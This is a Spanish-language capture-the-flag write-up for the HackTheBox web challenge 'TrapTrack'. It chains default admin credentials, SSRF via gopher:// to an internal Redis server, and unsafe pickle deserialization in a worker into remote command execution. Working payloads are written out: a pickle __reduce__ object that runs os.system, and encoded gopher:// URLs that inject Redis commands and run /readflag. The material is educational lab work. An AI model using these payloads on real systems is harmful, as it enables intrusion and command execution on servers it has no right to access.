TrapTrack
9 minutos de lectura
Se nos proporciona una página web como esta:
También tenemos el código fuente del proyecto.
Funcionalidad del sitio web
La aplicación web nos permite ingresar una URL que se almacenará en una base de datos SQLite. Al leer el código de challenge/application/config.py
encontramos credenciales válidas (admin:admin
):
from application.util import generate
import os
class Config(object):
SECRET_KEY = generate(50)
ADMIN_USERNAME = 'admin'
ADMIN_PASSWORD = 'admin'
SESSION_PERMANENT = False
SESSION_TYPE = 'filesystem'
SQLALCHEMY_DATABASE_URI = 'sqlite:////tmp/database.db'
REDIS_HOST = '127.0.0.1'
REDIS_PORT = 6379
REDIS_JOBS = 'jobs'
REDIS_QUEUE = 'jobqueue'
REDIS_NUM_JOBS = 100
class ProductionConfig(Config):
pass
class DevelopmentConfig(Config):
DEBUG = True
class TestingConfig(Config):
TESTING = True
Entonces podemos acceder al panel principal:
La aplicación web nos permite almacenar algunos sitios web:
Como se puede ver, los nuevos sitios web tienen un punto rojo que indica que la web no está activa o aún no se ha probado. Por detrás, un worker toma la URL y realiza una petición. Si la respuesta es exitosa, entonces el punto se actualiza a verde:
Además, utilizando Burp Suite, podemos descubrir que el front-end realiza una petición AJAX para consultar la salud de los sitios web enumerados:
Infraestructura de aplicación
Análisis de código fuente
Hay muchos archivos para analizar:
$ tree
.
├── Dockerfile
├── build-docker.sh
├── config
│ ├── readflag.c
│ ├── redis.conf
│ └── supervisord.conf
├── challenge
│ ├── application
│ │ ├── blueprints
│ │ │ └── routes.py
│ │ ├── cache.py
│ │ ├── config.py
│ │ ├── database.py
│ │ ├── main.py
│ │ ├── static
│ │ │ ├── css
│ │ │ │ ├── bootstrap.min.css
│ │ │ │ ├── login.css
│ │ │ │ ├── main.css
│ │ │ │ └── theme.css
│ │ │ ├── images
│ │ │ │ └── logo.png
│ │ │ └── js
│ │ │ ├── auth.js
│ │ │ ├── bootstrap.min.js
│ │ │ ├── jquery-3.6.0.min.js
│ │ │ └── main.js
│ │ ├── templates
│ │ │ ├── admin.html
│ │ │ └── login.html
│ │ └── util.py
│ ├── flask_session
│ ├── instance
│ ├── requirements.txt
│ ├── run.py
│ └── worker
│ ├── healthcheck.py
│ └── main.py
└── flag.txt
13 directories, 27 files
Además, se ejecutan dos proyectos separados al mismo tiempo (un servidor de Flask dentro de application
y un worker en worker
).
Encontrando el objetivo
Mirando el Dockerfile
, vemos que flag.txt
se encontrará en /root/flag.txt
y hay un binario SUID llamado readflag
que nos permitirá leer la flag siempre que podamos ejecutar comandos en el servidor. Por lo tanto, el objetivo de este reto es obtener ejecución remota de comandos (RCE) para leer la flag:
FROM python:3.8.14-buster
# Install packages
RUN apt-get update \
&& apt-get install -y supervisor gnupg sqlite3 libcurl4-openssl-dev python3-dev python3-pycurl psmisc redis gcc \
--no-install-recommends \
&& rm -rf /var/lib/apt/lists/*
# Upgrade pip
RUN python -m pip install --upgrade pip
# Copy flag
COPY flag.txt /root/flag
# Setup app
RUN mkdir -p /app
# Switch working environment
WORKDIR /app
# Add application
COPY challenge .
RUN chown -R www-data:www-data /app/flask_session
# Install dependencies
RUN pip install -r /app/requirements.txt
# Setup config
COPY config/supervisord.conf /etc/supervisord.conf
COPY config/redis.conf /etc/redis/redis.conf
COPY config/readflag.c /
# Setup flag reader
RUN gcc -o /readflag /readflag.c && chmod 4755 /readflag && rm /readflag.c
# Expose port the server is reachable on
EXPOSE 1337
# Disable pycache
ENV PYTHONDONTWRITEBYTECODE=1
# Run supervisord
CMD ["/usr/bin/supervisord", "-c", "/etc/supervisord.conf"]
Además, todos los directorios son propiedad de root
a excepción de /app/frask_session
(que es interesante, y me recordó a Acnologia Portal de HTB Cyber Apocalypse 2022). Esto es importante porque no podremos mover el archivo de la flag a un directorio público, porque no tenemos permisos de escritura.
Worker
Empecé a mirar al worker. Básicamente, el worker se conecta a un servidor de Redis que contiene una cola de mensajes:
import redis, pickle, time, base64
from healthcheck import request
config = {
'REDIS_HOST' : '127.0.0.1',
'REDIS_PORT' : 6379,
'REDIS_JOBS' : 'jobs',
'REDIS_QUEUE' : 'jobqueue',
'REDIS_NUM_JOBS' : 100
}
def env(key):
val = False
try:
val = config[key]
finally:
return val
store = redis.StrictRedis(host=env('REDIS_HOST'), port=env('REDIS_PORT'), db=0)
def get_work_item():
job_id = store.rpop(env('REDIS_QUEUE'))
if not job_id:
return False
data = store.hget(env('REDIS_JOBS'), job_id)
job = pickle.loads(base64.b64decode(data))
return job
def incr_field(job, field):
job[field] = job[field] + 1
store.hset(env('REDIS_JOBS'), job['job_id'], base64.b64encode(pickle.dumps(job)))
def decr_field(job, field):
job[field] = job[field] - 1
store.hset(env('REDIS_JOBS'), job['job_id'], base64.b64encode(pickle.dumps(job)))
def set_field(job, field, val):
job[field] = val
store.hset(env('REDIS_JOBS'), job['job_id'], base64.b64encode(pickle.dumps(job)))
def run_worker():
job = get_work_item()
if not job:
return
incr_field(job, 'inprogress')
trapURL = job['trap_url']
response = request(trapURL)
set_field(job, 'health', 1 if response else 0)
incr_field(job, 'completed')
decr_field(job, 'inprogress')
if __name__ == '__main__':
while True:
time.sleep(10)
run_worker()
El worker siempre está consultando la cola de Redis. Cuando un nuevo mensaje llega a la cola, se procesa en get_work_item
:
def get_work_item():
job_id = store.rpop(env('REDIS_QUEUE'))
if not job_id:
return False
data = store.hget(env('REDIS_JOBS'), job_id)
job = pickle.loads(base64.b64decode(data))
return job
Para los jugadores de CTF experimentados, la vulnerabilidad aquí es bastante clara. Hay una vulnerabilidad de deserialización insegura en pickle.loads
(siempre que podamos controlar la variable data
, que proviene de la cola de Redis).
Además, el worker usa una función llamada request
que está en el archivo challenge/worker/healthcheck.py
:
import pycurl
def request(url):
response = False
try:
c = pycurl.Curl()
c.setopt(c.URL, url)
c.setopt(c.TIMEOUT, 5)
c.setopt(c.VERBOSE, True)
c.setopt(c.FOLLOWLOCATION, True)
response = c.perform_rb().decode('utf-8', errors='ignore')
c.close()
finally:
return response
El worker emplea curl
(bueno, PyCurl
) para realizar las peticiones. Una vez más, los jugadores de CTF experimentados pueden unir los puntos y ver que cuando un reto involucra a Redis, probablemente debe haber un ataque de Server-Side Request Forgery (SSRF) usando el protocolo gopher://
(como en Red Island de HTB Cyber Apocalypse 2022).
Aplicación web de Flask
La aplicación Flask no es tan interesante siempre que entendamos la funcionalidad y la arquitectura del reto.
Quizás algunos métodos interesantes son create_job_queue
y get_job_queue
de challenge/application/cache.py
:
def create_job_queue(trapName, trapURL):
job_id = get_job_id()
data = {
'job_id': int(job_id),
'trap_name': trapName,
'trap_url': trapURL,
'completed': 0,
'inprogress': 0,
'health': 0
}
current_app.redis.hset(env('REDIS_JOBS'), job_id, base64.b64encode(pickle.dumps(data)))
current_app.redis.rpush(env('REDIS_QUEUE'), job_id)
return data
def get_job_queue(job_id):
data = current_app.redis.hget(env('REDIS_JOBS'), job_id)
if data:
return pickle.loads(base64.b64decode(data))
return None
Estos métodos manejan la información del sitio web del usuario: envían el objeto a la cola de Redis serializada con pickle.dumps
y la recupera y deserializa con pickle.loads
(por lo tanto, aquí tenemos otra vulnerabilidad).
Obteniendo RCE
El exploit para este reto no es difícil, pero requiere encadenar varias técnicas.
Deserialización insegura en pickle
Para obtener RCE a partir de pickle.loads
, podemos crear una clase de Python que implemente el método __reduce__
de la siguiente manera (más información en HackTricks):
$ python3 -q
>>> import base64, pickle
>>>
>>> class Bad:
... def __reduce__(self):
... return exec, ('import os; os.system("whoami")', )
...
>>> base64.b64encode(pickle.dumps(Bad()))
b'gASVOgAAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlIweaW1wb3J0IG9zOyBvcy5zeXN0ZW0oIndob2FtaSIplIWUUpQu'
Usando ese payload, ejecutaremos whoami
al llamar a pickle.loads
sobre el objeto serializado:
>>> pickle.loads(base64.b64decode(b'gASVOgAAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlIweaW1wb3J0IG9zOyBvcy5zeXN0ZW0oIndob2FtaSIplIWUUpQu'))
rocky
SSRF a Redis
Como necesitamos controlar los mensajes en la cola, debemos hablar con Redis para ello. Para esto, arranqué el contenedor Docker y me conecté:
root@6d48bc730689:/app# redis-cli
127.0.0.1:6379> KEYS *
1) "jobs"
2) "100"
127.0.0.1:6379> GET "100"
"101"
127.0.0.1:6379> HGET "jobs" "100"
"gASVeAAAAAAAAAB9lCiMBmpvYl9pZJRLZIwJdHJhcF9uYW1llIwJV2lraXBlZGlhlIwIdHJhcF91cmyUjBpodHRwczovL3d3dy53aWtpcGVkaWEub3JnL5SMCWNvbXBsZXRlZJRLAYwKaW5wcm9ncmVzc5RLAIwGaGVhbHRolEsBdS4="
Usando HSET
podemos ingresar un nuevo elemento en la cola llamada jobs
:
127.0.0.1:6379> HSET "jobs" "foo" "bar"
(integer) 1
127.0.0.1:6379> HGET "jobs" "foo"
"bar"
Sin embargo, no tenemos acceso a redis-cli
, por lo que necesitamos usar gopher://
y curl
como sigue:
root@6d48bc730689:/app# curl 'gopher://127.0.0.1:6379/_HSET%20%22jobs%22%20%22test%22%20%22ssrf%22'
:1
^C
root@6d48bc730689:/app# curl 'gopher://127.0.0.1:6379/_HGET%20%22jobs%22%20%22test%22'
$4
ssrf
^C
La sintaxis es la misma, pero necesitamos comenzar con un guion bajo (_
) y codificar en URL todos los caracteres (es decir, espacios y comillas dobles).
En este punto, podemos ingresar la URL de gopher://
en el sitio web para almacenar un objeto serializado malicioso de pickle
y lograr RCE cuando el worker deserialice el mensaje.
Estrategia excesiva
Con las primitivas anteriores, podemos obtener la flag. Tener RCE nos permite usar curl
a un servidor controlado y enviar la flag (la salida de /readflag
). Durante el CTF, no me di cuenta de que el reto tenía conexión a Internet y asumí que no lo había. Por lo tanto, para capturar la flag intenté de alguna manera agregar el contenido al sitio web o a las bases de datos (SQLite3 o Redis).
La base de datos SQLite3 no fue útil porque era de solo lectura (al menos, al hacer el reto, parecía ser solo lectura. ¡He probado en este momento y no lo es! Esto habría facilitado mucho el exploit). Entonces, intenté almacenar la flag dentro de la cola de Redis usando redis-cli
con el formato esperado por la aplicación (un objeto específico serializado con pickle
). Este fue el enfoque (en pasos progresivos):
root@6d48bc730689:/app# /readflag
HTB{f4k3_fl4g_f0r_t3st1ng}
root@6d48bc730689:/app# python3 -c "print('$(/readflag)')"
HTB{f4k3_fl4g_f0r_t3st1ng}
root@6d48bc730689:/app# python3 -c "print({'job_id': 1234, 'trap_name': '$(/readflag)', 'trap_url': 'https://7rocky.github.io', 'completed': 0, 'inprogress': 0, 'health': 0})"
{'job_id': 1234, 'trap_name': 'HTB{f4k3_fl4g_f0r_t3st1ng}', 'trap_url': 'https://7rocky.github.io', 'completed': 0, 'inprogress': 0, 'health': 0}
root@6d48bc730689:/app# python3 -c "import base64, pickle; print(base64.b64encode(pickle.dumps({'job_id': 1234, 'trap_name': '$(/readflag)', 'trap_url': 'https://7rocky.github.io', 'completed': 0, 'inprogress': 0, 'health': 0})))"
b'gASViAAAAAAAAAB9lCiMBmpvYl9pZJRN0gSMCXRyYXBfbmFtZZSMGkhUQntmNGszX2ZsNGdfZjByX3Qzc3Qxbmd9lIwIdHJhcF91cmyUjBhodHRwczovLzdyb2NreS5naXRodWIuaW+UjAljb21wbGV0ZWSUSwCMCmlucHJvZ3Jlc3OUSwCMBmhlYWx0aJRLAHUu'
root@6d48bc730689:/app# python3 -c "import base64, pickle; print(base64.b64encode(pickle.dumps({'job_id': 1234, 'trap_name': '$(/readflag)', 'trap_url': 'https://7rocky.github.io', 'completed': 0, 'inprogress': 0, 'health': 0})).decode())"
gASViAAAAAAAAAB9lCiMBmpvYl9pZJRN0gSMCXRyYXBfbmFtZZSMGkhUQntmNGszX2ZsNGdfZjByX3Qzc3Qxbmd9lIwIdHJhcF91cmyUjBhodHRwczovLzdyb2NreS5naXRodWIuaW+UjAljb21wbGV0ZWSUSwCMCmlucHJvZ3Jlc3OUSwCMBmhlYWx0aJRLAHUu
Ese es el objeto serializado que queremos almacenar en la cola. Obsérvese que la serialización debe hacerse una vez obtenido RCE para que $(/readflag)
se reemplace con la flag. Para almacenarlo usando redis-cli
, debemos pasarlo a través de stdin
:
root@6d48bc730689:/app# echo 'KEYS *' | redis-cli
1) "jobs"
2) "100"
root@6d48bc730689:/app# echo 'HSET "jobs" "1337" "'$(python3 -c "import base64, pickle; print(base64.b64encode(pickle.dumps({'job_id': 1234, 'trap_name': '$(/readflag)', 'trap_url': 'https://7rocky.github.io', 'completed': 0, 'inprogress': 0, 'health': 0})).decode())")'"' | redis-cli
(integer) 0
root@6d48bc730689:/app# echo 'HGET "jobs" "1337"' | redis-cli
"gASViAAAAAAAAAB9lCiMBmpvYl9pZJRN0gSMCXRyYXBfbmFtZZSMGkhUQntmNGszX2ZsNGdfZjByX3Qzc3Qxbmd9lIwIdHJhcF91cmyUjBhodHRwczovLzdyb2NreS5naXRodWIuaW+UjAljb21wbGV0ZWSUSwCMCmlucHJvZ3Jlc3OUSwCMBmhlYWx0aJRLAHUu"
En este punto, podemos leer la flag accediendo a /api/tracks/1337/status
en Burp Suite:
Por lo tanto, el comando anterior es lo que necesitamos para serializar en un payload malicioso de pickle
y luego almacenar el payload usando gopher://
:
root@6d48bc730689:/app# echo 'HDEL "jobs" "1337"' | redis-cli
(integer) 1
root@6d48bc730689:/app# python3 -q
>>> import base64, pickle
>>>
>>> cmd = """echo 'HSET "jobs" "1337" "'$(python3 -c "import base64, pickle; print(base64.b64encode(pickle.dumps({'job_id': 1234, 'trap_name': '$(/readflag)', 'trap_url': 'https://7rocky.github.io', 'completed': 0, 'inprogress': 0, 'health': 0})).decode())")'"' | redis-cli"""
>>>
>>> class Bad:
... def __reduce__(self):
... return exec, (f'import os; os.system("""{cmd}""")', )
...
>>> base64.b64encode(pickle.dumps(Bad()))
b'gASVQAEAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlFghAQAAaW1wb3J0IG9zOyBvcy5zeXN0ZW0oIiIiZWNobyAnSFNFVCAiam9icyIgIjEzMzciICInJChweXRob24zIC1jICJpbXBvcnQgYmFzZTY0LCBwaWNrbGU7IHByaW50KGJhc2U2NC5iNjRlbmNvZGUocGlja2xlLmR1bXBzKHsnam9iX2lkJzogMTIzNCwgJ3RyYXBfbmFtZSc6ICckKC9yZWFkZmxhZyknLCAndHJhcF91cmwnOiAnaHR0cHM6Ly83cm9ja3kuZ2l0aHViLmlvJywgJ2NvbXBsZXRlZCc6IDAsICdpbnByb2dyZXNzJzogMCwgJ2hlYWx0aCc6IDB9KSkuZGVjb2RlKCkpIiknIicgIHwgcmVkaXMtY2xpIiIiKZSFlFKULg=='
Entonces, poner esta URL hará el truco (observe que el job_id
es 9999):
gopher://127.0.0.1:6379/_HSET%20%22jobs%22%20%229999%22%20%22gASVQAEAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlFghAQAAaW1wb3J0IG9zOyBvcy5zeXN0ZW0oIiIiZWNobyAnSFNFVCAiam9icyIgIjEzMzciICInJChweXRob24zIC1jICJpbXBvcnQgYmFzZTY0LCBwaWNrbGU7IHByaW50KGJhc2U2NC5iNjRlbmNvZGUocGlja2xlLmR1bXBzKHsnam9iX2lkJzogMTIzNCwgJ3RyYXBfbmFtZSc6ICckKC9yZWFkZmxhZyknLCAndHJhcF91cmwnOiAnaHR0cHM6Ly83cm9ja3kuZ2l0aHViLmlvJywgJ2NvbXBsZXRlZCc6IDAsICdpbnByb2dyZXNzJzogMCwgJ2hlYWx0aCc6IDB9KSkuZGVjb2RlKCkpIiknIicgIHwgcmVkaXMtY2xpIiIiKZSFlFKULg==%22
Hagámoslo en local:
Después de un corto tiempo, el trabajo se completa:
Ahora tenemos que decirle al worker que cargue nuestro payload malicioso de pickle
, por lo que solicitamos el job_id
9999:
El servidor devuelve un error porque el payload serializado no es un objeto válido aceptado por el servidor. Sin embargo, el payload de RCE se ejecutó y, por lo tanto, debería haber otro trabajo con job_id
1337:
¡Ahí está! Ahora es momento de ir a instancia remota y seguir los mismos pasos:
Flag
Y aquí esta la flag (HTB{tr4p_qu3u3d_t0_rc3!}
):